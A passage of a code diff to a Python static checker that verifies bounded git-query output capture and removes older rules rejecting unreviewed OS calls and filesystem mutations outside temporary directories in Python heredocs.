ast.AsyncFunctionDef) + if positive_integer(definitions[chunk_name]) > min( + positive_integer(definitions[name]) for name in limit_names ): - current = parents.get(current) - if current is None or current.name != "create_immutable_source_snapshot": return False - if isinstance(node, ast.Name) and node.id == "snapshot_root": - for candidate in ast.walk(current): - if not isinstance(candidate, ast.Assign): - continue - if not any( - isinstance(target, ast.Name) - and target.id == "snapshot_root" - for target in candidate.targets + if any( + isinstance(node, ast.Name) + and node.id in constant_names + and isinstance(node.ctx, ast.Store) + and not ( + isinstance(parents.get(node), ast.Assign) + and parents[node] in tree.body + and parents[node].value is definitions[node.id] + ) + for node in ast.walk(tree) + ): + return False + for node in ast.walk(tree): + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + if node.name in constant_names: + return False + elif isinstance(node, ast.arg) and node.arg in constant_names: + return False + elif isinstance(node, ast.ExceptHandler) and node.name in constant_names: + return False + elif isinstance(node, (ast.MatchAs, ast.MatchStar)) and node.name in constant_names: + return False + elif isinstance(node, ast.MatchMapping) and node.rest in constant_names: + return False + elif isinstance(node, (ast.Import, ast.ImportFrom)): + aliases = node.names + if any( + (alias.asname or alias.name.split(".")[0]) in constant_names + for alias in aliases ): - continue - value = candidate.value - if not ( - isinstance(value, ast.Call) - and python_dotted_name(value.func) in {"Path", "pathlib.Path"} - and len(value.args) == 1 - and not value.keywords - and isinstance(value.args[0], ast.Attribute) - and value.args[0].attr == "name" - and isinstance(value.args[0].value, ast.Name) - and value.args[0].value.id == "snapshot_directory" + return False + if isinstance(node, ast.ImportFrom) and any( + (alias.asname or alias.name) in constant_names for alias in aliases ): - continue - for source_assignment in ast.walk(current): - if not isinstance(source_assignment, ast.Assign): - continue - if any( - isinstance(target, ast.Name) - and target.id == "snapshot_directory" - for target in source_assignment.targets - ) and temporary_directory_call(source_assignment.value): - return True + return False + elif isinstance(node, (ast.Global, ast.Nonlocal)) and any( + name in constant_names for name in node.names + ): + return False + + parameters = runner.args.kwonlyargs + output_parameter = next( + (index for index, parameter in enumerate(parameters) if parameter.arg == "output_limit"), + None, + ) + if output_parameter is None: return False - if isinstance(node, ast.Name): - for candidate in ast.walk(current): - if not isinstance(candidate, ast.Assign): - continue - if not any( - isinstance(target, ast.Name) and target.id == node.id - for target in candidate.targets - ): - continue - if reviewed_source_snapshot_path( - candidate.value, tree, parents, seen.copy() - ): - return True + if any( + isinstance(node, ast.Name) + and node.id == "output_limit" + and isinstance(node.ctx, ast.Store) + and python_enclosing_scope(node, parents) is runner + for node in ast.walk(runner) + ): return False - if isinstance(node, ast.Attribute) and node.attr == "parent": - return reviewed_source_snapshot_path(node.value, tree, parents, seen) - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): - if not reviewed_source_snapshot_path(node.left, tree, parents, seen): + if any( + node is not runner + and python_enclosing_scope(node, parents) is runner + and ( + isinstance(node, (ast.Import, ast.ImportFrom, ast.Match, ast.Global, ast.Nonlocal)) + or isinstance(node, ast.ExceptHandler) and node.name is not None + or isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.Lambda)) + ) + for node in ast.walk(runner) + ): + return False + default = runner.args.kw_defaults[output_parameter] + if not ( + isinstance(default, ast.Name) + and default.id == "git_query_output_max_bytes" + ): + return False + guards = [ + node + for node in ast.walk(runner) + if isinstance(node, ast.If) + and python_enclosing_scope(node, parents) is runner + and isinstance(node.test, ast.Compare) + and isinstance(node.test.left, ast.Name) + and node.test.left.id == "output_limit" + and len(node.test.ops) == 1 + and isinstance(node.test.ops[0], ast.NotIn) + and len(node.test.comparators) == 1 + and isinstance(node.test.comparators[0], ast.Set) + and { + element.id for element in node.test.comparators[0].elts + if isinstance(element, ast.Name) + } == limit_names + and len(node.test.comparators[0].elts) == 2 + and len(node.body) == 1 + and isinstance(node.body[0], ast.Raise) + and isinstance(node.body[0].exc, ast.Call) + and python_dotted_name(node.body[0].exc.func) == "SystemExit" + ] + if len(guards) != 1: + return False + + calls = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "run_bounded_git_query" + ] + if not calls: + return False + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Name) + and node.id == "run_bounded_git_query" + and isinstance(node.ctx, ast.Load) + ): + continue + parent = parents.get(node) + if not isinstance(parent, ast.Call) or parent.func is not node or parent not in calls: return False - if isinstance(node.right, ast.Constant): - return temporary_path_component_safe(node.right.value) - return isinstance(node.right, ast.Name) and node.right.id in { - "relative_path", - "relative_directory", - "directory", - } - return False + for call_node in calls: + if len(call_node.args) != 1 or any(keyword.arg is None for keyword in call_node.keywords): + return False + supplied_limits = [keyword.value for keyword in call_node.keywords if keyword.arg == "output_limit"] + if len(supplied_limits) > 1 or ( + supplied_limits + and not ( + isinstance(supplied_limits[0], ast.Name) + and supplied_limits[0].id in limit_names + ) + ): + return False + return True -python_filesystem_mutating_methods = { - "chmod", - "chown", - "hardlink_to", - "link_to", - "mkdir", - "makedirs", - "move", - "open", - "rename", - "replace", - "rmdir", - "symlink_to", - "touch", - "unlink", - "write_bytes", - "write_text", -} -python_filesystem_mutating_functions = { - "os.chmod", - "os.chflags", - "os.chown", - "os.fchmodat", - "os.fchownat", - "os.lchmod", - "os.lchflags", - "os.lchown", - "os.link", - "os.makedirs", - "os.mkdir", - "os.mkfifo", - "os.mknod", - "os.remove", - "os.rename", - "os.replace", - "os.rmdir", - "os.symlink", - "os.setxattr", - "os.lsetxattr", - "os.removexattr", - "os.lremovexattr", - "os.truncate", - "os.unlink", - "os.utime", - "os.utime_ns", - "shutil.copy", - "shutil.copy2", - "shutil.copyfile", - "shutil.copymode", - "shutil.copystat", - "shutil.copytree", - "shutil.make_archive", - "shutil.move", - "shutil.rmtree", - "shutil.unpack_archive", -} +def reviewed_python_git_query_collector(tree, parents): + """Prove bounded output bytes come only from the registered process pipes.""" + collectors = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.FunctionDef) + and node.name == "capture_git_query_output" + ] + runners = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.FunctionDef) + and node.name == "run_bounded_git_query" + ] + if len(collectors) != 1 or len(runners) != 1: + return False + if not reviewed_python_git_query_runtime_dependencies_stable(tree, parents): + return False + function = collectors[0] + runner = runners[0] + if not reviewed_python_git_query_output_budget(tree, parents, runner): + return False + if any( + node is not function + and isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.Lambda)) + and python_enclosing_scope(node, parents) is function + for node in ast.walk(function) + ): + return False + if ( + function.args.posonlyargs + or [argument.arg for argument in function.args.args] + != ["process", "git_command", "output_limit", "input_bytes"] + or function.args.kwonlyargs + or function.args.vararg is not None + or function.args.kwarg is not None + or len(function.args.defaults) != 1 + or not isinstance(function.args.defaults[0], ast.Constant) + or function.args.defaults[0].value is not None + ): + return False -python_reviewed_os_calls = { - "os.close", - "os.environ.clear", - "os.environ.get", - "os.environ.items", - "os.environ.pop", - "os.environ.update", - "os.fdopen", - "os.fork", - "os.fsdecode", - "os.getenv", - "os.getpgrp", - "os.getpid", - "os.kill", - "os.killpg", - "os._exit", - "os.path", - "os.pipe", - "os.read", - "os.set_blocking", - "os.waitpid", - "os.write", -} + local_nodes = [ + node + for node in ast.walk(function) + if python_enclosing_scope(node, parents) is function + ] + if any( + isinstance(node, (ast.Break, ast.Yield, ast.YieldFrom)) + for node in local_nodes + ): + return False + local_calls = [node for node in local_nodes if isinstance(node, ast.Call)] + if any( + isinstance(node, (ast.Import, ast.ImportFrom, ast.Global, ast.Nonlocal, ast.Match)) + or isinstance(node, ast.ExceptHandler) and node.name is not None + or isinstance(node, ast.Delete) + or isinstance(node, (ast.Attribute, ast.Subscript)) + and isinstance(node.ctx, (ast.Store, ast.Del)) + for node in local_nodes + ): + return False + store_names = sorted( + node.id + for node in local_nodes + if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store) + ) + if store_names != sorted( + [ + "captures", "pending_input", "pending_input", "selector", "name", + "deadline", "remaining", "remaining", "stream", "stream", "stream", + "ready", "key", "_", "chunk", "written", + ] + ): + return False + call_names = sorted(ast.unparse(node.func) for node in local_calls) + if call_names != sorted( + [ + "selectors.DefaultSelector", "SystemExit", "SystemExit", "SystemExit", + "SystemExit", "bytearray", "bytearray", "memoryview", "selector.get_map", + "process.wait", "selector.close", "getattr", "getattr", "os.set_blocking", + "os.set_blocking", "len", "len", "len", "len", "time.monotonic", + "time.monotonic", "time.monotonic", "selector.select", + "subprocess.TimeoutExpired", "subprocess.TimeoutExpired", + "subprocess.TimeoutExpired", "bytes", "bytes", "selector.register", + "selector.register", "stream.fileno", "stream.fileno", "stream.fileno", + "stream.fileno", "stream.close", "stream.close", "stream.close", + "captures[key.data].extend", "os.read", "selector.unregister", + "selector.unregister", "os.write", + ] + ): + return False + def is_name(node, name): + return isinstance(node, ast.Name) and node.id == name -def python_unknown_os_call_violation(tree): - """Fail closed for OS calls whose path/effect surface is not reviewed.""" - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - dotted = python_dotted_name(node.func) - if not dotted or not dotted.startswith("os."): - continue - if ( - dotted in python_filesystem_mutating_functions - or dotted in python_reviewed_os_calls - or dotted.startswith("os.path.") - or dotted.startswith("os.environ.") - ): - continue + def is_buffer(node, key): return ( - "Python heredoc contains an unreviewed OS call with possible path/effect " - f"surface {dotted!r} on line {node.lineno}" + isinstance(node, ast.Subscript) + and is_name(node.value, "captures") + and isinstance(node.slice, ast.Constant) + and node.slice.value == key + and isinstance(node.ctx, ast.Load) ) - return None - -def python_filesystem_mutator_alias_violation(tree, parents): - """Reject extracted mutator methods unless their receiver is temp-owned.""" - for node in ast.walk(tree): - assignments = [] - if isinstance(node, ast.Assign): - assignments.extend((target, node.value) for target in node.targets) - elif isinstance(node, ast.AnnAssign): - assignments.append((node.target, node.value)) - elif isinstance(node, ast.NamedExpr): - assignments.append((node.target, node.value)) - for target, value in assignments: - if not isinstance(target, ast.Name): - continue - receiver = None - method = None - if ( - isinstance(value, ast.Attribute) - and value.attr in python_filesystem_mutating_methods - ): - receiver = value.value - method = value.attr - elif ( - isinstance(value, ast.Call) - and isinstance(value.func, ast.Name) - and value.func.id == "getattr" - and len(value.args) == 2 - and isinstance(value.args[1], ast.Constant) - and value.args[1].value in python_filesystem_mutating_methods - ): - receiver = value.args[0] - method = value.args[1].value - elif ( - isinstance(value, ast.Attribute) - and python_dotted_name(value) in python_filesystem_mutating_functions - ): - return ( - "Python heredoc extracts an unowned filesystem mutator " - f"{python_dotted_name(value)!r} into alias {target.id!r} " - f"on line {node.lineno}" - ) - if receiver is None: - continue - if not temporary_path_expression(receiver, tree, parents): - return ( - "Python heredoc extracts an unowned filesystem mutator " - f"{method!r} into alias {target.id!r} on line {node.lineno}" - ) - return None + def is_len(node, argument): + return ( + isinstance(node, ast.Call) + and is_name(node.func, "len") + and len(node.args) == 1 + and not node.keywords + and node.args[0] is argument + and python_unshadowed_builtin_call(node, {"len"}, tree, parents) + ) + def budget_test(node): + if not ( + isinstance(node, ast.Compare) + and len(node.ops) == 1 + and isinstance(node.ops[0], ast.Gt) + and len(node.comparators) == 1 + and is_name(node.comparators[0], "output_limit") + and isinstance(node.left, ast.BinOp) + and isinstance(node.left.op, ast.Add) + and isinstance(node.left.left, ast.BinOp) + and isinstance(node.left.left.op, ast.Add) + ): + return False + first, second, third = ( + node.left.left.left, + node.left.left.right, + node.left.right, + ) + return ( + isinstance(first, ast.Call) + and len(first.args) == 1 + and is_buffer(first.args[0], "stdout") + and is_len(first, first.args[0]) + and isinstance(second, ast.Call) + and len(second.args) == 1 + and is_buffer(second.args[0], "stderr") + and is_len(second, second.args[0]) + and isinstance(third, ast.Call) + and len(third.args) == 1 + and is_name(third.args[0], "chunk") + and is_len(third, third.args[0]) + ) -def python_path_receiver_expression(node, tree, parents, seen=None): - """Recognize a Path-like receiver for ambiguous mutating method names.""" - if node is None: + guards = [ + node for node in local_nodes + if isinstance(node, ast.If) and budget_test(node.test) + ] + if ( + len(guards) != 1 + or len(guards[0].body) != 1 + or not isinstance(guards[0].body[0], ast.Raise) + or not isinstance(guards[0].body[0].exc, ast.Call) + or python_dotted_name(guards[0].body[0].exc.func) != "SystemExit" + or guards[0].orelse + ): return False - if seen is None: - seen = set() - if id(node) in seen: + budget_guard = guards[0] + initial_limits = [ + node for node in function.body + if isinstance(node, ast.If) + and isinstance(node.test, ast.Compare) + and is_name(node.test.left, "output_limit") + and len(node.test.ops) == 1 + and isinstance(node.test.ops[0], ast.LtE) + and len(node.test.comparators) == 1 + and isinstance(node.test.comparators[0], ast.Constant) + and node.test.comparators[0].value == 0 + and len(node.body) == 1 + and isinstance(node.body[0], ast.Raise) + ] + if len(initial_limits) != 1: return False - seen.add(id(node)) - if temporary_path_expression(node, tree, parents): - return True - if isinstance(node, ast.Call): - dotted = python_dotted_name(node.func) - if dotted in {"Path", "pathlib.Path"}: - return True - if ( - isinstance(node.func, ast.Attribute) - and node.func.attr == "joinpath" + + captures_assignments = [ + node for node in local_nodes + if isinstance(node, ast.Assign) + and len(node.targets) == 1 + and is_name(node.targets[0], "captures") + ] + if len(captures_assignments) != 1 or parents.get(captures_assignments[0]) is not function: + return False + captures_assignment = captures_assignments[0] + captures = captures_assignment.value + if not isinstance(captures, ast.Dict) or [ + key.value if isinstance(key, ast.Constant) else None for key in captures.keys + ] != ["stdout", "stderr"]: + return False + + selector_assignments = [ + node for node in local_nodes + if isinstance(node, ast.Assign) + and len(node.targets) == 1 + and is_name(node.targets[0], "selector") + and isinstance(node.value, ast.Call) + and python_dotted_name(node.value.func) == "selectors.DefaultSelector" + and not node.value.args + and not node.value.keywords + ] + if ( + len(selector_assignments) != 1 + or parents.get(selector_assignments[0]) is not function + ): + return False + bytearrays = [ + node for node in local_calls + if is_name(node.func, "bytearray") + ] + if len(bytearrays) != 2 or any( + node.args or node.keywords + or not python_unshadowed_builtin_call(node, {"bytearray"}, tree, parents) + for node in bytearrays + ) or [ + value for value in captures.values if isinstance(value, ast.Call) + ] != bytearrays: + return False + + returns = [node for node in local_nodes if isinstance(node, ast.Return)] + if len(returns) != 1 or not isinstance(returns[0].value, ast.Tuple) or len(returns[0].value.elts) != 2: + return False + return_value = returns[0].value + returned_buffers = [] + byte_calls = [] + for expected, item in zip(("stdout", "stderr"), return_value.elts): + if not ( + isinstance(item, ast.Call) + and is_name(item.func, "bytes") + and len(item.args) == 1 + and not item.keywords + and is_buffer(item.args[0], expected) + and python_unshadowed_builtin_call(item, {"bytes"}, tree, parents) ): - return python_path_receiver_expression(node.func.value, tree, parents, seen) + return False + returned_buffers.append(item.args[0]) + byte_calls.append(item) + if [node for node in local_calls if is_name(node.func, "bytes")] != byte_calls: return False - if isinstance(node, ast.Name): - for candidate in ast.walk(tree): - if not isinstance(candidate, ast.Assign): - continue - if not any( - isinstance(target, ast.Name) and target.id == node.id - for target in candidate.targets - ): - continue - if python_path_receiver_expression(candidate.value, tree, parents, seen): - return True - return node.id.casefold().endswith(("path", "file", "directory", "dir", "root")) and not python_unassigned_path_parameter(node, parents) - if isinstance(node, ast.Attribute): - return python_path_receiver_expression(node.value, tree, parents, seen) - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): - return python_path_receiver_expression(node.left, tree, parents, seen) - return False + extensions = [ + node for node in local_calls + if isinstance(node.func, ast.Attribute) and node.func.attr == "extend" + ] + if ( + len(extensions) != 1 + or len(extensions[0].args) != 1 + or extensions[0].keywords + or not is_name(extensions[0].args[0], "chunk") + or not isinstance(extensions[0].func.value, ast.Subscript) + or not is_name(extensions[0].func.value.value, "captures") + or not isinstance(extensions[0].func.value.slice, ast.Attribute) + or not is_name(extensions[0].func.value.slice.value, "key") + or extensions[0].func.value.slice.attr != "data" + ): + return False + extension = extensions[0] + extension_statement = parents.get(extension) + if not isinstance(extension_statement, ast.Expr): + return False -def temporary_path_expression(node, tree, parents, seen=None): - """Prove a path stays below the active literal TemporaryDirectory.""" - if node is None: + read_calls = [ + node for node in local_calls + if python_dotted_name(node.func) == "os.read" + ] + if ( + len(read_calls) != 1 + or len(read_calls[0].args) != 2 + or read_calls[0].keywords + or not isinstance(read_calls[0].args[0], ast.Call) + or python_dotted_name(read_calls[0].args[0].func) != "stream.fileno" + or read_calls[0].args[0].args + or read_calls[0].args[0].keywords + or not is_name(read_calls[0].args[1], "git_query_stream_chunk_bytes") + ): return False - if seen is None: - seen = set() - if reviewed_source_snapshot_path(node, tree, parents, seen.copy()): - return True - binding = temporary_directory_binding(node, parents) - if binding is None: + read_assignment = parents.get(read_calls[0]) + if not ( + isinstance(read_assignment, ast.Assign) + and len(read_assignment.targets) == 1 + and is_name(read_assignment.targets[0], "chunk") + and read_assignment.value is read_calls[0] + ): return False - bindings = temporary_directory_bindings(node, tree, parents) - if isinstance(node, ast.Name): - if node.id in bindings: - assignments = [] - for candidate in ast.walk(tree): - targets = [] - value = None - if isinstance(candidate, ast.Assign): - targets = candidate.targets - value = candidate.value - elif isinstance(candidate, ast.AnnAssign): - targets = [candidate.target] - value = candidate.value - elif isinstance(candidate, ast.NamedExpr): - targets = [candidate.target] - value = candidate.value - elif isinstance(candidate, ast.AugAssign): - targets = [candidate.target] - if ( - temporary_directory_binding(candidate, parents) == binding - and any( - isinstance(target, ast.Name) and target.id == node.id - for target in targets - ) - ): - assignments.append(value) - if not assignments: - return True - return all( - value is not None - and temporary_path_expression(value, tree, parents, seen) - for value in assignments - ) - if node.id in seen: - return False - seen.add(node.id) - assignment_values = [] - for candidate in ast.walk(tree): - targets = [] - value = None - if isinstance(candidate, ast.Assign): - targets = candidate.targets - value = candidate.value - elif isinstance(candidate, ast.AnnAssign): - targets = [candidate.target] - value = candidate.value - elif isinstance(candidate, ast.NamedExpr): - targets = [candidate.target] - value = candidate.value - elif isinstance(candidate, ast.AugAssign): - targets = [candidate.target] - if temporary_directory_binding(candidate, parents) != binding: - continue - if any( - isinstance(target, ast.Name) and target.id == node.id - for target in targets - ): - assignment_values.append(value) - if assignment_values: - return all( - temporary_path_expression(value, tree, parents, seen) - for value in assignment_values - ) + read_try = parents.get(read_assignment) + if not ( + isinstance(read_try, ast.Try) + and read_assignment in read_try.body + and len(read_try.handlers) == 1 + and isinstance(read_try.handlers[0].type, ast.Name) + and read_try.handlers[0].type.id == "BlockingIOError" + and len(read_try.handlers[0].body) == 1 + and isinstance(read_try.handlers[0].body[0], ast.Continue) + ): return False - if isinstance(node, ast.Attribute) and node.attr == "parent": + + ready_assignments = [ + node for node in local_nodes + if isinstance(node, ast.Assign) + and len(node.targets) == 1 + and is_name(node.targets[0], "ready") + and isinstance(node.value, ast.Call) + and python_dotted_name(node.value.func) == "selector.select" + and [python_dotted_name(argument) for argument in node.value.args] == ["remaining"] + and not node.value.keywords + ] + if len(ready_assignments) != 1: return False - if isinstance(node, ast.Call): - dotted = python_dotted_name(node.func) - if dotted in {"Path", "pathlib.Path"} and len(node.args) == 1 and not node.keywords: - return temporary_path_expression(node.args[0], tree, parents, seen) - if ( - isinstance(node.func, ast.Attribute) - and node.func.attr == "joinpath" - and temporary_path_expression(node.func.value, tree, parents, seen) - and all( - isinstance(argument, ast.Constant) - and isinstance(argument.value, str) - and temporary_path_component_safe(argument.value) - for argument in node.args - ) - and not node.keywords - ): - return True + ready_assignment = ready_assignments[0] + ready_loops = [ + node for node in local_nodes + if isinstance(node, ast.For) + and isinstance(node.target, ast.Tuple) + and len(node.target.elts) == 2 + and is_name(node.target.elts[0], "key") + and is_name(node.target.elts[1], "_") + and is_name(node.iter, "ready") + ] + if len(ready_loops) != 1: return False - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): - return ( - temporary_path_expression(node.left, tree, parents, seen) - and ( - ( - isinstance(node.right, ast.Constant) - and isinstance(node.right.value, str) - and temporary_path_component_safe(node.right.value) - ) - or ( - isinstance(node.right, ast.Name) - and node.right.id in { - "relative_path", - "relative_directory", - "directory", - } - and any( - isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef)) - and parent.name == "create_immutable_source_snapshot" - for parent in _python_parent_chain(node, parents) - ) - ) + ready_loop = ready_loops[0] + while_node = parents.get(ready_loop) + if not ( + isinstance(while_node, ast.While) + and isinstance(while_node.test, ast.Call) + and python_dotted_name(while_node.test.func) == "selector.get_map" + and not while_node.test.args + and not while_node.test.keywords + and not while_node.orelse + and ready_loop in while_node.body + and ready_assignment in while_node.body + and while_node.body.index(ready_assignment) < while_node.body.index(ready_loop) + ): + return False + wait_calls = [ + node for node in local_calls + if python_dotted_name(node.func) == "process.wait" + ] + if ( + len(wait_calls) != 1 + or wait_calls[0].args + or len(wait_calls[0].keywords) != 1 + or wait_calls[0].keywords[0].arg != "timeout" + or not is_name(wait_calls[0].keywords[0].value, "remaining") + ): + return False + outer_try = parents.get(while_node) + wait_statement = parents.get(wait_calls[0]) + if not isinstance(wait_statement, ast.Expr): + return False + return_statement = returns[0] + if not ( + isinstance(outer_try, ast.Try) + and while_node in outer_try.body + and wait_statement in outer_try.body + and return_statement in outer_try.body + and outer_try.body.index(while_node) + < outer_try.body.index(wait_statement) + < outer_try.body.index(return_statement) + ): + return False + read_loop = next( + ( + parent for parent in _python_parent_chain(read_assignment, parents) + if isinstance(parent, ast.For) + ), + None, + ) + if read_loop is not ready_loop or read_try not in ready_loop.body: + return False + guard_statement = budget_guard + if ( + parents.get(guard_statement) is not ready_loop + or parents.get(extension_statement) is not ready_loop + or ready_loop.body.index(guard_statement) >= ready_loop.body.index(extension_statement) + ): + return False + + read_stream_assignments = [ + node for node in local_nodes + if isinstance(node, ast.Assign) + and len(node.targets) == 1 + and is_name(node.targets[0], "stream") + and isinstance(node.value, ast.Attribute) + and is_name(node.value.value, "key") + and node.value.attr == "fileobj" + ] + if len(read_stream_assignments) != 1 or parents.get(read_stream_assignments[0]) is not ready_loop: + return False + output_loops = [ + node for node in local_nodes + if isinstance(node, ast.For) + and is_name(node.target, "name") + and is_name(node.iter, "captures") + ] + if len(output_loops) != 1: + return False + output_loop = output_loops[0] + process_getattrs = [ + node for node in local_calls + if is_name(node.func, "getattr") + and len(node.args) == 3 + and is_name(node.args[0], "process") + and isinstance(node.args[2], ast.Constant) + and node.args[2].value is None + and not node.keywords + and python_unshadowed_builtin_call(node, {"getattr"}, tree, parents) + ] + stream_getattrs = [ + node for node in process_getattrs if is_name(node.args[1], "name") + ] + stdin_getattrs = [ + node for node in process_getattrs + if isinstance(node.args[1], ast.Constant) and node.args[1].value == "stdin" + ] + if len(stream_getattrs) != 1 or len(stdin_getattrs) != 1: + return False + if any( + not ( + isinstance(parents.get(node), ast.Assign) + and len(parents[node].targets) == 1 + and is_name(parents[node].targets[0], "stream") + and parents[node].value is node + ) + for node in process_getattrs + ) or parents[stream_getattrs[0]] not in output_loop.body: + return False + process_loads = [ + node for node in local_nodes + if is_name(node, "process") and isinstance(node.ctx, ast.Load) + ] + process_read_nodes = [call_node.args[0] for call_node in process_getattrs] + if wait_calls: + process_read_nodes.append(wait_calls[0].func.value) + if len(process_loads) != 3 or any( + all(node is not expected for expected in process_read_nodes) + for node in process_loads + ): + return False + read_registrations = [ + node for node in local_calls + if python_dotted_name(node.func) == "selector.register" + and len(node.args) == 3 + and python_dotted_name(node.args[1]) == "selectors.EVENT_READ" + and is_name(node.args[0], "stream") + and is_name(node.args[2], "name") + and not node.keywords + ] + write_registrations = [ + node for node in local_calls + if python_dotted_name(node.func) == "selector.register" + and len(node.args) == 3 + and python_dotted_name(node.args[1]) == "selectors.EVENT_WRITE" + and is_name(node.args[0], "stream") + and isinstance(node.args[2], ast.Constant) + and node.args[2].value == "stdin" + and not node.keywords + ] + if ( + len(read_registrations) != 1 + or len(write_registrations) != 1 + or parents.get(read_registrations[0]) not in ast.walk(output_loop) + ): + return False + read_registration_statement = parents[read_registrations[0]] + read_registration_guard = parents.get(read_registration_statement) + if not ( + isinstance(read_registration_guard, ast.If) + and isinstance(read_registration_guard.test, ast.Compare) + and is_name(read_registration_guard.test.left, "stream") + and len(read_registration_guard.test.ops) == 1 + and isinstance(read_registration_guard.test.ops[0], ast.IsNot) + and len(read_registration_guard.test.comparators) == 1 + and isinstance(read_registration_guard.test.comparators[0], ast.Constant) + and read_registration_guard.test.comparators[0].value is None + and read_registration_statement in read_registration_guard.body + ): + return False + + capture_subscripts = [ + node for node in local_nodes + if isinstance(node, ast.Subscript) and is_name(node.value, "captures") + ] + allowed_capture_subscripts = set(returned_buffers) + allowed_capture_subscripts.update( + node + for node in ast.walk(budget_guard.test) + if isinstance(node, ast.Subscript) and is_name(node.value, "captures") + ) + allowed_capture_subscripts.add(extensions[0].func.value) + if set(capture_subscripts) != allowed_capture_subscripts: + return False + capture_stores = [ + node for node in local_nodes + if is_name(node, "captures") and isinstance(node.ctx, ast.Store) + ] + if len(capture_stores) != 1 or capture_stores[0] is not captures_assignment.targets[0]: + return False + capture_loads = [ + node for node in local_nodes + if is_name(node, "captures") and isinstance(node.ctx, ast.Load) + ] + if len(capture_loads) != len(allowed_capture_subscripts) + 1 or any( + parents.get(node) is not output_loop and parents.get(node) not in allowed_capture_subscripts + for node in capture_loads + ): + return False + chunk_stores = [ + node for node in local_nodes + if is_name(node, "chunk") and isinstance(node.ctx, ast.Store) + ] + chunk_loads = [ + node for node in local_nodes + if is_name(node, "chunk") and isinstance(node.ctx, ast.Load) + ] + if ( + len(chunk_stores) != 1 + or chunk_stores[0] is not read_assignment.targets[0] + or len(chunk_loads) != 3 + or not any( + isinstance(parents.get(node), ast.UnaryOp) + and isinstance(parents[node].op, ast.Not) + and parents[node].operand is node + and isinstance(parents.get(parents[node]), ast.If) + and parents[parents[node]] in ready_loop.body + and not parents[parents[node]].orelse + and any( + isinstance(statement, ast.Continue) + for statement in parents[parents[node]].body ) + for node in chunk_loads ) - return False + or not any( + isinstance(parents.get(node), ast.Call) + and python_dotted_name(parents[node].func) == "len" + and parents[node] in ast.walk(budget_guard.test) + and len(parents[node].args) == 1 + and parents[node].args[0] is node + for node in chunk_loads + ) + or not any(parents.get(node) is extension for node in chunk_loads) + ): + return False + continue_nodes = [node for node in local_nodes if isinstance(node, ast.Continue)] + blocking_handlers = [ + node for node in local_nodes + if isinstance(node, ast.ExceptHandler) + and isinstance(node.type, ast.Name) + and node.type.id == "BlockingIOError" + ] + empty_chunk_ifs = [ + node for node in local_nodes + if isinstance(node, ast.If) + and isinstance(node.test, ast.UnaryOp) + and isinstance(node.test.op, ast.Not) + and is_name(node.test.operand, "chunk") + and parents.get(node) is ready_loop + ] + stdin_branches = [ + node for node in local_nodes + if isinstance(node, ast.If) + and isinstance(node.test, ast.Compare) + and python_dotted_name(node.test.left) == "key.data" + and len(node.test.ops) == 1 + and isinstance(node.test.ops[0], ast.Eq) + and len(node.test.comparators) == 1 + and isinstance(node.test.comparators[0], ast.Constant) + and node.test.comparators[0].value == "stdin" + and parents.get(node) is ready_loop + ] + if ( + len(continue_nodes) != 4 + or len(blocking_handlers) != 2 + or any( + len(handler.body) != 1 + or not isinstance(handler.body[0], ast.Continue) + or ready_loop not in _python_parent_chain(handler, parents) + for handler in blocking_handlers + ) + or len(empty_chunk_ifs) != 1 + or empty_chunk_ifs[0].orelse + or not empty_chunk_ifs[0].body + or not isinstance(empty_chunk_ifs[0].body[-1], ast.Continue) + or len(stdin_branches) != 1 + or stdin_branches[0].orelse + or not stdin_branches[0].body + or not isinstance(stdin_branches[0].body[-1], ast.Continue) + or set(continue_nodes) + != {handler.body[0] for handler in blocking_handlers} + | {empty_chunk_ifs[0].body[-1]} + | {stdin_branches[0].body[-1]} + ): + return False + write_handlers = [ + handler for handler in blocking_handlers + if handler not in read_try.handlers + ] + write_tries = [parents.get(handler) for handler in write_handlers] + write_calls = [ + node for node in local_calls + if python_dotted_name(node.func) == "os.write" + ] + if ( + len(write_handlers) != 1 + or len(write_tries) != 1 + or not isinstance(write_tries[0], ast.Try) + or len(stdin_branches) != 1 + or parents.get(write_tries[0]) is not stdin_branches[0] + or write_tries[0] not in stdin_branches[0].body + or len(write_calls) != 1 + or write_tries[0] not in _python_parent_chain(write_calls[0], parents) + ): + return False + bytes_calls = [node for node in local_calls if is_name(node.func, "bytes")] + if len(bytes_calls) != 2 or bytearrays != [value for value in captures.values if isinstance(value, ast.Call)]: + return False + loop_nodes = [ + node for node in local_nodes + if isinstance(node, (ast.For, ast.AsyncFor, ast.While, ast.comprehension)) + ] + if len(loop_nodes) != 3 or set(loop_nodes) != {while_node, ready_loop, output_loop}: + return False + return True -def python_filesystem_mutation_violation(tree, parents): - """Reject filesystem mutations unless their path is temp-owned.""" - alias_violation = python_filesystem_mutator_alias_violation(tree, parents) - if alias_violation: - return alias_violation - open_aliases = python_open_aliases(tree) - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - dotted = python_dotted_name(node.func) - mutation = False - path_arguments = [] - if isinstance(node.func, ast.Attribute) and node.func.attr in python_filesystem_mutating_methods: - if ( - node.func.attr == "replace" - and not python_path_receiver_expression(node.func.value, tree, parents) - ): - continue - mutation = True - path_arguments = [node.func.value] - if node.func.attr in { - "hardlink_to", - "link_to", - "symlink_to", - "move", - "rename", - "replace", - }: - path_arguments.extend(node.args[:1]) - elif dotted in python_filesystem_mutating_functions: - mutation = True - path_arguments = list(node.args[:2]) - elif dotted == "open" or ( - isinstance(node.func, ast.Name) and node.func.id in open_aliases - ): - unpacked_keyword = any(keyword.arg is None for keyword in node.keywords) - if unpacked_keyword: - mutation = True - mode_keyword = next( - (keyword.value for keyword in node.keywords if keyword.arg == "mode"), - None, - ) - has_mode = len(node.args) > 1 or any( - keyword.arg == "mode" for keyword in node.keywords - ) - mode = node.args[1] if len(node.args) > 1 else mode_keyword - 